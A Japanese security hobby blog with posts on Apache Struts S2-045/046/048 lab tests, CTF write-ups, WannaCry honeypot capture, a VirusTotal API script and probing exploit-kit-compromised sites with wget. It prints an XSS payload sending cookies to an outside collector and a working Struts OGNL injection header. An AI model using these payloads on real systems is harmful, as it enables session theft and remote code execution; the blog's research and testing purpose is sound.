生産性のない話

趣味の範囲でサイバーセキュリティの話

Apache Strutsの脆弱性(S2-048)について

7月7日(金)の夜から7月8日(土)の日付が変わるくらいから、一部で騒いでたApache Strutsの新しい脆弱性です。 さすがに前回の脆弱性S2-045とS2-046がかなり大きな影響を与えただけあって、セキュリティ関係者はアンテナ張っていたようで、情報は早かったですね。 公開されたのは、週末というちょっと嫌な時間でしたが。

注意喚起

Apache Struts 2 の脆弱性 (S2-048) に関する注意喚起

S2-048概要

S2-048

またリモートコード実行です。 ただ、今回は影響範囲は限定的です。

  • 脆弱なバージョン

 Apache Struts 2.3.x

脆弱性は、Struts アプリケーションを、Struts 1 Plugin を使用して動作 させている場合に影響を受ける可能性があります。Struts アプリケーション に対する本脆弱性の影響について、詳細は Struts アプリケーションの開発者 からの情報を参考にしてください。

  • 修正バージョン

 Apache Struts 2.3.33 ( Version Notes 2.3.33 )

ちなみに今回も、脆弱性公開時点で公式には修正バージョンが上がっておらず、Gitなどにあるテストリリースのみという状態でした。

検証

今回もPoCが出るのは早かったです。 ということで、さくっと検証してみました。

Dockerでコンテナを立ち上げて、サンプルアプリのshowcaseを動かします。

f:id:blueBLUE:20170710224353p:plain

このページがStruts 1 pluginの動いているページで、ここに対して攻撃コードをPOSTで送ります。 「echo testtesttest」を実行してみます。

f:id:blueBLUE:20170716195456p:plain

攻撃時のパケット(レスポンス)です。 実行したコマンドの結果が返ってきてます。 この辺りは以前のS2-045などと同じです。

ただし、S2-048ではStruts 1 pluginが動いているパスにしか効きません。 サンプルアプリケーションでは、「/struts2-showcase/integration/saveGangster.action」が対象です。

このStruts 1 pluginをどこで使っているかは上にのっているアプリケーションの作りによると思いますが、外から攻撃対象となるパスを判別することはできないのではないでしょうか。 また、Struts 1 pluginを利用しているだけではなく、メッセージを受け取り、脆弱性のあるメソッドで処理するような実装である必要があり、攻撃の条件は厳しいと思われます。 そのため、実質的にサンプルアプリケーションくらいにしか攻撃は成功しないのかもしれません。

S2-045の場合はStruts 2を利用していたらどの時点でアウトだったので、無差別な攻撃が当たることもありましたが、今回はそこまでの影響はなさそうです。 とはいえ、対策はちゃんとしましょう。

Apache Software Foundation からは、回避策として入力値を適切に処理する ことが示されています。

※ showcase 内のサンプル Struts アプリケーションに対する回避策の例 (適用前) messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + “ added successfully”)); (適用後) messages.add(“msg”, new ActionMessage(“Gangster ”, gform.getName()));

なお、JPCERT/CC では、本回避策の適用後、本脆弱性に対する実証コードの実 行により脆弱性を悪用されないことを確認しています。また、回避策の適用が 難しい場合には、不特定多数からのアクセスを制限することや、WAF (Web Application Firewall) の利用などの対策を検討してください。

S2-047とS2-049

なぜ番号が飛ばされたのか分かりませんが、今回はS2-048が先に出て、そのあとでS2-047とS2-049が出ました。

S2-047

S2-049

上記2つはいずれもDoS脆弱性であり、Maximum security ratingもそれぞれ、LowとMidiumとなっており、そこまで影響の大きな攻撃ではなさそうです。

今回は攻撃を受けたりとあまり大きな騒ぎになってはいませんが、S2-045と同じようなRCEの脆弱性が今後も出てくる可能性があるということは十分わかりました。 情報を追いかけていく必要はありそうです。

Google CTFとTrendmicro CTF

2週間連続でCTFに参加しましたので、まとめて記事にします。

それぞれ問題の傾向に違いはありますが、全体的にGoogle CTFの方が難易度は高かったと思います。 バイナリの知識はもちろんですが、構築やサーバよりの技術、それからGoogleの技術に関する知識も多少必要になります。 対してTrendmicroのCTFは今回はネットワーク系の問題が多く、セキュリティを専門にやっている人がとっつきやすい問題が多かったように思います。

以下簡単な Write Up です。

Google CTF

Joe

解けそうで解けなかった問題です。 Web系の一番簡単な問題ですが、CTF開始時にはバグがあったとかで引っ込められ、1日経ったくらいに再出という形でした。

サイトにアクセスすると、パーソナルアシスタントがいるので、色々話をしてみようというもの。 色々クリック可能な部分があるので、とりあえず遊んでみます。

f:id:blueBLUE:20170629214842p:plain

問題を解くのに重要な機能としては以下

  • what is your name ⇒アシスタントの名前を確認できる
  • let me rename you ⇒アシスタントの名前を変更できる
  • Log in ⇒Googleアカウントを使ってログインできる
  • report bug ⇒バグレポート(サーバがAdminで送ったURLにアクセスする)
  • the admin page ⇒管理者用ページ(入れない)

ちなみに、サーバでは多分送信した文字列に単語が含まれているかで判断していると思われます。 「name」と「report」とかだけで機能が使えます。

管理者ページに入るにはAdminのCookieが必要ということでAdminのCookieを取得できればフラグがゲットできると予想できます。 で、Cookieですからまあ、XSSかなと想像します。

色々やってログインした後、アシスタントの挨拶の名前部分にXSS脆弱性を発見します。

f:id:blueBLUE:20170629215254p:plain

アシスタントの名前を<s>タグで囲ってやって、再読み込みするとアシスタントの名前部分が取り消し線で消されています。

f:id:blueBLUE:20170629215307p:plain

スクリプトタグも実行できます。

f:id:blueBLUE:20170629215333p:plain

アシスタントの名前はログインしているユーザによります。ここまでくると、攻撃の流れが読めてきます。

  1. ユーザAでログイン
  2. アシスタントの名前部分でXSSを仕掛ける
  3. レポート機能でAdminにユーザAでログインさせる
  4. クッキーゲット

やってみます。ログイン時のURLを確認します。

アシスタントの名前を以下のように変更します。

<script>window.location='https://requestb.in/********?'+document.cookie;</script>

アクセスさせるサイトにはRequestBinを利用しました。 今回のCTFで初めて使ったのですが、結構便利です。

RequestBin — Collect, inspect and debug HTTP requests and webhooks

AdminにアクセスさせるURLを調べます。

f:id:blueBLUE:20170629220217p:plain

「login?」でトークンを渡している部分があるので、ここにアクセスさせます。 で、ログインさせるURLにアクセス……が、URLが長すぎると言われました。

ちなみに私はここで色々試しているところで時間切れになりました。(そもそもXSS脆弱性を見つけたのがCTF終了1時間前くらい……)

正解は別のサイトを経由させて、このURLにアクセスさせる、ということでした。

自分のVPS上のDockerでWebサーバを立てて、以下のファイルを置きます。

<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>

で、バグレポートでここにアクセスさせます(サーバのIPを伏せてます)。

f:id:blueBLUE:20170629221251p:plain

これでAdminは、 「私のサーバ」⇒「アシスタントのサイトに私のアカウントでログイン」⇒XSSによりRequestBinにAdminがアクセス という流れになります。

RequestBinのアクセス履歴。

f:id:blueBLUE:20170629222535p:plain

フラグをゲット。

Trendmicro CTF

Forensic 100

問題はパケットです。ネットワークフォレンジックですね。 内容はDNSリクエスト。明らかに怪しい名前解決のクエリがあります。

f:id:blueBLUE:20170629231825p:plain

これを見た瞬間にDNSトンネリングを行うマルウェアのC2通信という想定だろうと思いました。

こういうマルウェアの類だろうと。

OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks

標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。 -

ということで、DNSのクエリを取り出します。

tshark -r output.pcap -T fields -e dns.resp.name | grep co.jp | awk -F . '{print $1}'

tsharkを使い慣れていないので調べながら…。

f:id:blueBLUE:20170629224336p:plain

20文字の列が沢山と最後に切れ端みたいなの。なんとなく、これ全体で1つの意味を持つのだと想像できます。

で、デコードですが、Base64ではない、そう簡単ではないかと思いつつも、こういう系の問題は大体Base~だろうとあたりをつけます。Base16やBase32にしては文字の種類が多いとか思いつつ、「Base5」までGoogleで入れたらBase58がサジェストされました。

Base58 - Wikipedia

Bitcoinなんかで使われているようですね。

オンラインのデコーダを探してぶち込んで終わり。

Base58 Decode Text - Base58 String Decoder - Online - Browserling Web Developer Tools

Misc 100

壊れて読み取れないパケットの解析。バイナリエディタで見たら後半の方でFTPでなんかの鍵をやり取りしているので、それを使って通信を復号するんだろうなーとか思いつつ放置していました。

同じチームの人がパケットをWiresharkなどで読み取れるように修復してくれたのですが、それだけではフラグを取得できていないようだったので、自分でもやってみました

WiresharkSSL通信を復号。FTPで送っている鍵はNSS Key Log Format( NSS Key Log Format - Mozilla | MDN )とかいうやつ。

HTTP2でなんかやってる。HTTP2だとヘッダなんかも圧縮されて読めないんですね。

Wiresharkが解析してくれた部分を追っていくと、なんかのサイトにアクセスしている。アクセス先はもう消えている。

f:id:blueBLUE:20170629225331p:plain

オブジェクトをWiresharkからエクスポートできないので、通信をバイナリとしてそのままダンプ、画像はForemostで切り出し、他はgzipで圧縮されているので、とりあえず7zipで開いたら普通に取り出せた(7zip便利)。

ちなみにサイトのパーツは以下の通り。

  • / (index.html)
  • /main.css
  • /images/beer-2288121__340.jpg
  • /images/blueberries-2278921__340.jpg

取り出してサイトを再現してみる。サイトの内容は読めない(ラテン語?) 画像はGoogle画像検索すると色々出てくるので、多分フリー素材。

main.cssにはBase64で埋め込まれた画像があり、index.htmlではそれらを上半分と下半分に切り分けた2枚の画像が貼り付けられています。また、ソースの中に「HINT: visual cryptgraphy」とあります。

f:id:blueBLUE:20170629230051p:plain

で、これらを重ね合わせればいいんじゃね、ってことで、Base64から元画像を復元し、Gimpで重ねると答えが出てきました。

f:id:blueBLUE:20170629230211p:plain

以上です。久しぶりに問題が解けて嬉しかったです。今回参加したものは割と実践に近く、色々と勉強にもなりました。

後、途中で放り出した問題も方向性はあっていたので、復習しておきたいです。

CTFは自分のレベルにあったものをやるべきだと改めて感じました。

野生のWannaCryを捕まえたい

話題になったWannaCryに関するお話です。 WannaCry自体についてはセキュリティ関係問わず、一般に大分広まったので、あらためて話すことでもないかなあと思います。

例によって詳しいまとめです。

d.hatena.ne.jp

世界的に流行ったランサムウェアですが、WindowsのSMBの脆弱性、MS17-010を悪用し、感染を広げるワームとしての機能を持っているという特徴が特筆すべき点でしょう。

いつものメールやWeb感染起因では、ユーザが目の前にいての感染ですが、今回の場合は知らない間に侵入されて、いつのまにか暗号化というパターンのため、感染端末がその管理者より早く第三者の目に触れることが多く、一般の方々の話題に上りやすかったのではないでしょうか。

とはいえ、話題のわりに日本での被害はそれほど多くはなかったようです。日本の場合、一般の家庭ではブロードバンドルータが端末の間にいるので、グローバルのIPへの攻撃があっても、端末に直接445番ポート宛の攻撃が届くことはまずないようです。

WannaCryの感染経路ですが、事態がおおよそ収束してから、各セキュリティ会社が考察を行っています。

ランサムウェア「WannaCry/Wcry」のワーム活動を解析:侵入/拡散手法に迫る | トレンドマイクロ セキュリティブログ

How did the WannaCry Ransomworm spread? - Malwarebytes Labs | Malwarebytes Labs

大規模ランサムウエア感染に関する緊急調査レポートを公開 | NTTデータ

初期感染にはNSAバックドアツールである DoublePulser が利用されたとの見方が強いです。DoublePulser がどこから侵入したかは不明ですが、侵入された端末はWannaCry感染以前からこのバックドアがインストールされていた可能性が高いということになります。

今回のWannaCryをばらまいた犯人が事前に準備していたものなのか、それとも別の人間がほかの目的で準備していたものをWannaCryが横取りしたのか、そのあたりはわかりません。

WannaCryの感染活動ですが、TrendMicroのブログによると、以下のようになっています。

1.1 ローカルネットワーク内の端末を列挙しスキャンする
1.2 グローバル、ローカル含め、無作為なIPアドレスに対してもスキャンする
スキャン対象の端末に SMB の 445番ポートで接続し、「MS17-010」の脆弱性の存在を確認
2.1 脆弱性が存在した場合
2.1.1 DoublePulsar の存在を確認
2.1.1.1 DoublePulsar が存在した場合はDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる
2.1.1.2 DoublePulsar が存在しなかった場合は「MS17-010」の脆弱性を利用して DoublePulsar を感染させる
※この際、脆弱性によって DoublePulsar のコードがメモリ中で直接実行され、ファイルとして DoublePulsar が感染端末に存在することはない
2.1.1.2.1 感染させたDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み、感染させる
2.2 脆弱性が存在しない場合
2.2.1 DoublePulsar の存在を確認
2.2.1.1 DoublePulsar が存在した場合は DoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる

つまり攻撃対象にDoublePulserが存在しているかどうかにかかわらず、感染の際には必ずDoublePulserを経由してのインストールが行われます。

このWannaCryをハニーポットで収集できないかと思っていたのですが、DoublePulserが動く環境でなければWannaCryまでは入ってこないようです。なので、低対話型のハニーポットでは難しいのかと諦めていました。が、

すごい人がいるものですね。

早速使ってみました(利用は自己責任でお願いします)。

GitHub - gento/dionaea: dionaea low interaction honeypot (forked from dionaea.carnivore.it)

インストールなどは通常のDionaeaと同じです。

結果ですが、動かして数時間でいくつかそれらしい検体が捕れていました。

f:id:blueBLUE:20170527212312p:plain

ファイルサイズがすべて同じですが、ハッシュ値は異なります。検知回避目的のポリモーフィズムの手法だと思われます。

このうち一つをVirusTotalに投げてみました。

Antivirus scan for 86963c4751030168f7ebba58a99cf567ab7dd56ec4ff22ba785101aea45cd97e at 2017-05-27 11:57:17 UTC - VirusTotal

多分他も同じような検知になると思います。

このDionaeaのモジュールはDoublePulserの動きを模擬しているのだと思います。

445ポートに来た通信にはすべてDoublePulserが答えるようになっているのかとか、詳しいことは全然分かっていませんが……。

ともあれ、低対話型のハニーポットでもWannaCryを捕まえられるんですね。本当にこういったツールを作っている方々には頭が下がります。

しばらく動かして観察してみたいと思います。

セキュリティ関連の調査に利用できるWebサービスについて

OSINT(Open Source Intellihence)というそうですね。いつの間にそういった言葉ができたのか、知りませんでしたが、どんな分野でも有用なWebサービスにはお世話になるものです。

セキュリティのWebサービスで有名どころと言えば VirusTotal があります。検体を投稿し、各ベンダーの製品でスキャンした結果を表示してくれます。他に、Webサイトのスキャンやファイルのハッシュ値でのスキャン結果の検索、IP、ドメインの情報の検索 など、利用可能な情報は多岐にわたります。

VirusTotalだけの話ではありませんが、投稿するファイルに機密な情報が含まれていないかは確認しておきましょう。こうした外部Webサイトへのファイルのアップロードは一般公開されても困らないもののみに限定すべきです。

こういった外部情報サイトは他にもあります。Webサイトの情報に特化したもの、マルウェア解析に特化したものなど、それぞれの特性に合わせて利用すれば、特別なツールなど使わなくても、かなりの調査が可能です。 いくつか挙げてみます。

Webサイト調査系

マルウェア解析系

IP/ドメイン調査

その他

  • Shodan - インターネットに接続されている機器をスキャンし、その情報を提示してくれる。

  • Censys - こちらもShodanみたいにスキャンしているサイトらしい。

他に同じようなサービスは様々あります。用途に応じて自分の使いやすいサービスを探すのが良いかと思います。

また、もう少し凝ったことをしたいという時には、こういったいくつかのサービスではAPIを提供しています。

例えば、VirusTotalではアカウントを作成し、APIキーを入手すれば、1分で4リクエストまでという制限はありますが、API経由での調査が可能です。

Public API version 2.0 - VirusTotal

こういうAPIの利用方法は公式のドキュメントが一番わかりやすかったりするので、そちらを読んで利用するのが良いと思います。

PythonAPIを利用してみます。 (APIを利用する時のためのモジュールを作っておくと、後々便利なんだじゃないかと思いました)

virustotal.py'として以下のようなスクリプトを用意します。

import requests

apikey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

url_hash = 'https://www.virustotal.com/vtapi/v2/file/report'
url_scan_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
url_report_url = 'http://www.virustotal.com/vtapi/v2/url/report'
url_ip = 'http://www.virustotal.com/vtapi/v2/ip-address/report'
url_domain = 'http://www.virustotal.com/vtapi/v2/domain/report'

def getHashReport(filehash):
  params = {'apikey': apikey, 'resource':filehash}
  headers = { "Accept-Encoding": "gzip, deflate"}
  response = requests.get(url_hash ,params=params, headers=headers)
  json_response = response.json()
  return json_response

def getUrlScan(url):
  params = {'apikey': apikey, 'url':url}
  response = requests.post(url_scan_url, data=params)
  json_response = response.json()
  return json_response

def getUrlReport(url):
  headers = { "Accept-Encoding": "gzip, deflate"}
  params = {'apikey': apikey, 'resource':url}
  response = requests.post(url_report_url, params=params, headers=headers)
  json_response = response.json()
  return json_response

def getIPReport(ip):
  params = {'apikey': apikey, 'ip': ip}
  response = requests.get(url_ip, params=params)
  json_response = response.json()
  return json_response

def getDomainReport(domain):
  params = {'apikey': apikey, 'domain': domain}
  response = requests.get(url_domain, params=params)
  json_response = response.json()
  return json_response

APIキーは各自のものを使ってください。 これを用意しておけば、後は使いたいときに外からこのスクリプトを読み込んで関数を呼び出すだけです。

テスト用のスクリプトを用意。

import virustotal as vt
import time
import json

if __name__ == '__main__':
  hashsum = 'ffffffffffffffffffffffffffffffff'
  url_scan = 'www.xxx.xyz/index.php'
  domain = 'www.xxx.xyz'
  ip_addr = 'XX.XX.XX.XX'

  print '--File Report--'
  result = vt.getHashReport(hashsum)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Scan--'
  result = vt.getUrlScan(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Report--'
  result = vt.getUrlReport(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--IP Report--'
  result = vt.getIPReport(ip_addr)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--Domain Report--'
  result = vt.getDomainReport(domain)
  print json.dumps(result, indent=2)

1分に4リクエストまでなので、一応1回ごとに16秒のインターバルをいています。ハッシュ値とか、URLとかは適当なものを入れてください。

結果はjsonで返ってきます。'virustotal.py'ではそれを辞書型にして返してくれます。テストスクリプトではそれを改めてjsonとしてダンプします。

結果は出力されたものを見てもらえば、どのように結果が出るかわかると思います。うまいこと必要な情報を抜き出していきましょう。

こういう感じで、他のサービスのAPIも手軽に扱えるよう、準備しておきたいですね。色々なサービスを連携して簡単に情報を収集できるような環境を目指しましょう。

続・Apache Strtus 2 の脆弱性(S2-045・S2-046)について

前回に引き続き、Apache Struts2脆弱性についてです。

色々と新しい情報が出てきたので改めて。

Apache Struts2Jakarta Multipart parser の脆弱性

影響を受けるバージョン

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

対策

脆弱性修正バージョンへのアップデート

Apache Struts 2.3.32 以降
Apache Struts 2.5.10.1 以降

回避策

公式から提供されているパーサ修正のプライグインの適用

 以前回避策とされていた内容ですが、

MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

 ⇒Jakarta Streamでも影響を受けることが判明

「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

 ⇒Content-LengthとContent-Dispositionヘッダでも攻撃が可能なことが判明

 ということで注意が必要です。

 

Content-LengthとContent-Dispositionを利用した新しい攻撃コードが公開されています(S2-046・CVE番号はS2-045と変わらずCVE-2017-5638)。

さらっと攻撃コードを試してみました。

・脆弱バージョン(Struts 2.5.10)

f:id:blueBLUE:20170325144539p:plain

・修正済みバージョン(Struts 2.5.10.1)

f:id:blueBLUE:20170325144552p:plain

コマンドが実行されています。

パケットの内容を見るとこんな感じです。

f:id:blueBLUE:20170325144606p:plain

Content-Lengthに大きい値を入れてエラーを起こし、Content-Dispositionのコードを実行します。コード実行のメカニズムはS2-045と変わらないですね。

影響範囲も同じですが、S2-045を特定の回避策をとっていた場合影響を受けるかもしれません。

やはり脆弱性対応はバージョンアップが基本ですね。

Strutsから今回の脆弱性を緩和するためのPluginも出ています。試してみたかったのですが、ビルドする環境を作るのが面倒になってやめました。

バージョンアップできない方は試してみてください。

 

Strutsを狙った攻撃ですが、最近立てていたWebハニーポットのGlastopfにも攻撃が来ていました。以下のようなものです。

f:id:blueBLUE:20170325151515p:plain

S2-045の攻撃です。見たときはS2-045とS2-046の複合的な攻撃かと思いましたが、そうではないようです。POSTの中に攻撃コードがそのまま入っていますが、なにか意味があるんですかね……。

実行するとnMaskという文字が出力されます。

IP直打ちで「/」直下への攻撃ということで無差別のスキャンだとは思います(そもそもこのハニーポット検索エンジンのインデックスなどもしてないですし)。

 

だいぶ騒いだのでそろそろ収束してほしいですね。もうStruts脆弱性お腹いっぱいです。

Apache Strtus 2 の脆弱性(S2-045)について

Apache Struts脆弱性S2-045が3月6日に公開されました。

JVNVU#93610402: Apache Struts2 に任意のコードが実行可能な脆弱性

Apache Struts2 には、Jakarta Multipart parser の処理に起因する、任意のコードが実行可能な脆弱性が存在します。

 注意喚起

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起

Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045):IPA 独立行政法人 情報処理推進機構

まとめ

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog

2017年3月に発生したApache Struts 2で稼働していたとみられるWebサイトへの不正アクセスについてまとめてみた - piyolog

Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について | LAC WATCH | 株式会社ラック

技術検証

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記

CVE-2017-5638 - 脆弱性調査レポート | ソフトバンク・テクノロジー

Apache Struts2の脆弱性(CVE-2017-5638)を検証してみた - とある診断員の備忘録

 

リモートから任意コード実行というとても危なげな脆弱性です。Struts 2は過去にもいくつか同じレベルの脆弱性が公開され、なんだかんだ影響が大きかったように思います。

今回もどうもそんなパターンのようです。

内容については上記記事が大体まとめてくれています。つぎはぎすると以下のような感じ。

簡単に概要

この脆弱性は、ファイルアップロード時に使用するマルチパーサー「jakarta」に起因する脆弱性で、同マルチパーサーはApache Struts 2にてデフォルトで使用しているものです。 この脆弱性を利用した攻撃が成立した場合、リモートからApache Struts2が配置されたWebアプリケーションサーバーの実行権限で任意のコードを実行される危険性があります。

ファイルアップロード時のヘッダの処理方式に問題があるようです。

 要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。

 影響を受けるバージョン

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

 対策

2017年3月8日付リリース以降のバージョンに更新する。

Apache Struts 2.3.32 以降
Apache Struts 2.5.10.1 以降
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

回避策
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

Multipartパーサーの切り替えやサーブレットフィルタはあくまで次善策と考え、アップデートでの対応が望ましいと思われます。

追記・2017/03/25

MultipartパーサーはJakarta Streamでも影響を受けることが公開されました。また、Content-Type以外に、Content-LengthとContent-Dispositionの値を利用した攻撃コードも公開されています。対策についはご注意ください。

 

後追いですが、検証してみます。

「とある診断員」さんのリンクから、DockerでStrutsの検証環境構築に関する記事へのリンクがあり、これが役に立ちます。

Dockerを使って、Apache Struts2の脆弱性S2-037のやられ環境を手軽に作る - DARK MATTER

以下のようなDockerfileを作成

FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]

ADDするwarファイルは好みに応じて、必要なStrutsのバージョンをダウンロードし、展開したものを用意し、そのパスを指定します。

ビルドして実行

docker build -t struts/s2_045 .
docker run -it --rm -p 8080:8080 struts/s2_045

あとはリクエストを投げるだけ。

割と結構面倒なStrutsの環境構築がものの数分で完了するという手軽さ。しかも、Dockerfileをちょっと書き換えるだけで異なるバージョンの環境も簡単に作れます。

後は 「http://localhost:8080/struts2-rest-showcase/orders.xhtml」にアクセスできることを確認し、環境構築は完了です。

 

攻撃検証の方法はなんでもいいのですが、要は「Content-Type」ヘッダに攻撃コードを入れればいいので、REST Clientでやってみます。

URLを指定し、「Content-Type」ヘッダに以下のような攻撃コードを追加。

"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println("testest")).(#ros.flush())}"

まず普通にGETした結果。

f:id:blueBLUE:20170312210521p:plain

次に 「Content-Type」に攻撃コードを追加した結果。

f:id:blueBLUE:20170312210540p:plain

これで、コマンドの結果が返ってきます。ちなみに、GETでもPOSTでもどちらでも攻撃は可能です。

脆弱性の修正されたバージョンのStruts 2.5.10.1に対して、同じリクエストを投げてみると、GETでは200、POSTでは400が返ってきましたボディを確認すると、コマンドは実行されていないようです。

 

昨年の春ごろもStruts脆弱性が騒がれていたので、前回の大きな脆弱性から1年経っていません。Strutsを利用している方は、やはりWAFなどの攻撃に対する緩和策も用意しておくのがいいかと思います。

 

……一番の対策はStrutsを使わないことじゃないでしょうか。

wgetで Exploit Kit 改ざんサイトへアクセスする

ブラウザやFlashなどのブラウザのプラグイン脆弱性をついてドライブバイダウンロード攻撃によりWeb経由でマルウェア感染を行うためのツールキットがExploit Kitです。

攻撃者は正規のWebサイトを改ざんし、Exploit Kit へ正規サイトへアクセスしたユーザを誘導し、マルウェアをインストールさせようとします。

今回はその Exploit Kit 誘導に利用される改ざんされたサイトの調査です。

 

最近多いのがRIGと呼ばれるExploit Kitで、これに関するレポートがLAC社より出ています。

www.lac.co.jp

Exploit Kitの特徴など、基本的なところはレポートを読めばわかるかと思いますし、それ以上詳しくここで説明する気もありません。

Exploit Kitに関する分析・解説記事はネット上に沢山ありますが、このレポートは各種攻撃キャンペーンについて詳しく書いてあり、参考になります。

 

Exploit Kitへ誘導するための正規Webサイトの改ざんには攻撃キャンペーンごとに特徴があります。レポートで取り上げられていた攻撃キャンペーンは以下の3つ。

  1. Pseudo-Darkleech
  2. EITest
  3. Afraidgate

今回はこのうち、「1. Pseudo-Darkleech」と「2. EITest」で改ざんされたWebサイトにアクセスしてみます。

 

1. Pseudo-Darkleech

レポートによると、最近のPseudo-DarkleechキャンペーンではCerber Ransomwareに感染させることを目的としています。

古いバージョンのFlashをインストールしたInternet ExplorerでPseudo-Darkleechにより改ざんされたWebサイトにアクセスしてみると、ブラウザ上では下記のような表示になります。

f:id:blueBLUE:20170308075212p:plain

この後、ユーザの一時フォルダ内でCerber Ransomwareが実行され、気が付くとファイルが暗号化され脅迫文が表示されるという状況になります。

 

このPseudo-Darkleechでは最初の改ざんサイトへアクセスしてきたユーザが攻撃対象であるかをUser Agentで判断しているようです。そのため、単純にwgetしただけではExploit Kitへ誘導するためのスクリプトは含まれていない、通常のコンテンツが返ってきます。しかし、wgetでもWindowsIEのUser Agentを指定してやれば、Exploit Kitへ誘導するためのスクリプトを含んだコンテンツが返ってきます。

f:id:blueBLUE:20170308224920p:plain

User Agentの指定なしで取ってきたコンテンツとUser Agentを指定して取ってきたコンテンツを比較すると、Exploit Kitへの誘導部分が分かりやすいです。

 

改ざんがばれないようにか、解析させないためにか、攻撃者はこういうちょっと面倒なことをしてきます。

 

2. EITest

こっちはもっと面倒です。実際にやってみると、全然Exploit Kitへの転送を行うスクリプトが返ってきませんでした。

レポートによると、EITestの改ざんでは、海外のIPを利用するためにオープンプロキシを利用してアクセスしなければならなかったとあります。

また、EITestではPseudo-Darkleechでも見ていたUser Agentに加え、さらにリファラで確実にWeb経由でのアクセスであることを確認しているようです。

なので、wgetを実行する際、WindowsInternet ExplorerのUser Agentを指定し、Google経由でアクセスするときのリファラを指定して、攻撃者が想定している国のプロキシを利用してアクセスして初めてExploit Kitへ誘導されます。

本当に、面倒くさい……。

実際にやってみます。

コマンドはこんな感じになります。

 $ wget "http://www.XXXXX.com/" --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" --referer="https://www.google.co.jp/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjMzPTumsLSAhUKa7wKHSc9CswQFggfMAA&url=http%3A%2F%2Fwww.XXXXX.com%2F&usg=AFQjCNHIc2UQEFWmNNNtk8hY6gkEKuExkw"  -e HTTP_PROXY=XX.XX.XX.XX:8080

で、アクセスした結果はこんなん。

f:id:blueBLUE:20170308231345p:plain

条件は以下の通りです。何も考えずに条件を変えていったので、少し見にくいですが。

wgetオプション条件
ファイル名User Agentリファラプロキシ
index.html あり(Win7 IE11) あり(Google) あり(ドイツ)
index.html.1 あり(Win7 IE11) あり(Google) なし(日本)
index.html.2 なし なし なし(日本)
index.html.3 あり(Win7 IE11) あり(Google) あり(中国)
index.html.4 なし あり(Google) あり(中国)

見ると、中国のプロキシ経由でUser Agentとリファラを指定したときのみ、取得したコンテンツのサイズが少し大きくなっていることが分かります。

diff取ると確かにExploit Kitへのリンクが含まれています。

f:id:blueBLUE:20170308230115p:plain

EITestはランサムウェアだけでなく、金融系などの様々なマルウェアに感染させようとします。だから、できるだけ解析させないよう面倒な手順を踏んでいるのではないでしょうか。

 

また、EITestではExploit Kit以外にChromeでアクセスしたユーザに偽のポップアップ画面を表示してChromeのアップデートを促し、マルウェアに感染させる手口もあるようです。

こちらもやってみました。

f:id:blueBLUE:20170308234116p:plain

条件はこんな感じです。

wgetオプション条件
ファイル名User Agentリファラプロキシ
index.html あり(Win7 Chrome) あり(Google) なし(日本)
index.html.1 あり(Win7 Chrome) なし なし(日本)
index.html.2 なし なし なし(日本)
index.html.3 あり(Win7 Chrome) あり(Google) あり(ドイツ)
index.html.4 あり(Win7 Chrome) なし あり(ドイツ)
index.html.5 あり(Win7 IE11) あり(Google) あり(ドイツ)

1つだけ明らかにサイズが大きいものがあります。

まず、index.htmlをChromeで開いてみます。

f:id:blueBLUE:20170308075410p:plain

 普通のサイトです。次に下のindex.html.3をChromeで開きます。

 

f:id:blueBLUE:20170308075351p:plain

なんかのフォントが足りないみたいに言われています。モザイクかけちゃいましたが、後ろのページの表示も一部崩れているという芸の細かさ。

そして、Chromeのアップデートをしろと丁寧に言われました。このUpdateボタンをクリックするとマルウェアが落ちてきてそれを実行して感染、という流れになるはずです。

このUpdateのリンクを踏んでみましたが、残念ながらマルウェアを置いてあるホストがなくなった後らしく、リンク先が見つかりませんと言われて終わりました。

 

